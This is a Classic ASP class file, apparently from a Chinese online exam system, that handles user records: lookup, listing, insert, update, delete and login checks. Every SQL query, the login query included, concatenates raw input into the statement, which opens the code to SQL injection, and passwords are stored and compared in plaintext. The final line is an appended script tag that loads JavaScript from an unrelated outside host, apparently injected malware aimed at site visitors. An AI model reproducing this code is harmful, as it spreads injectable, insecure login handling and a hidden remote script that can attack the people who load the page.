eusers.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表EUsers的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class EUsers
    Public UserName     '用户名
    Public UserPwd      '用户密码
    Public UserType     '用户类型
    public RealName     '实际姓名
    public UserClass    '所属班级
    Public rs       '结果集
    Private strSql  'SQL语句
	'读取单个用户信息
    public sub GetUserInfo(uname)
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM EUsers WHERE UserName='" & uname & "'"
	  '打开记录集
	  rs.Open sql  
    end sub
	
	'获取所有用户信息
    public sub GetUserlist()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      Sql = "SELECT * FROM EUsers Order By UserClass,RealName"
	  '打开记录集
	  rs.Open sql
    End Sub

	'读取班级获取所有用户信息
    public sub GetClassInfo()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      Sql = "SELECT Distinct UserClass FROM EUsers Order By UserClass"
	  '打开记录集
	  rs.Open sql
    End Sub
	'插入用户信息
    Public Sub InsertUser()
      strSql = "Insert Into EUsers Values('"& UserName & "','" & UserPwd & "'," & UserType & _
        ",'" & RealName & "'," & UserClass & ")"
      conn.Execute(strSql)
    End Sub
	'修改用户信息
    Public Sub UpdateUser(uname)
      strSql = "Update EUsers Set UserClass="&UserClass & ",RealName='" &RealName &"' Where UserName='" & uname & "'"
      conn.Execute(strSql)
    End Sub
	'删除用户信息
    Public Sub DeleteUser(uname)
      strSql = "Delete From EUsers Where UserName='" & uname & "'"
      conn.Execute(strSql)
    End Sub
    '更新用户密码
    Public Sub UpdatePassword()
      strSql = "Update EUsers Set UserPwd='" & UserPwd & "' Where UserName='" & UserName & "'"
      conn.Execute(strSql)
    End Sub
    '读取用户信息
    Public Function HaveUser(flag)
      '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      Sql = "SELECT * FROM EUsers Where UserName='" & UserName & "' And UserPwd='" & UserPwd & _
        "' And UserType=" & flag
	  '打开记录集
	  rs.Open sql
	  If rs.EOF Then
        HaveUser = 0
	  Else
        HaveUser = 1
	  End If
    End Function
    '读取用户信息
    Public Function HaveUserName(uname)
      '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
      Sql = "SELECT * FROM EUsers Where UserName='" & uname & "'"
	  '打开记录集
	  rs.Open sql
	  If rs.EOF Then
        HaveUserName = false
	  Else
        HaveUserName = true
	  End If
    End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>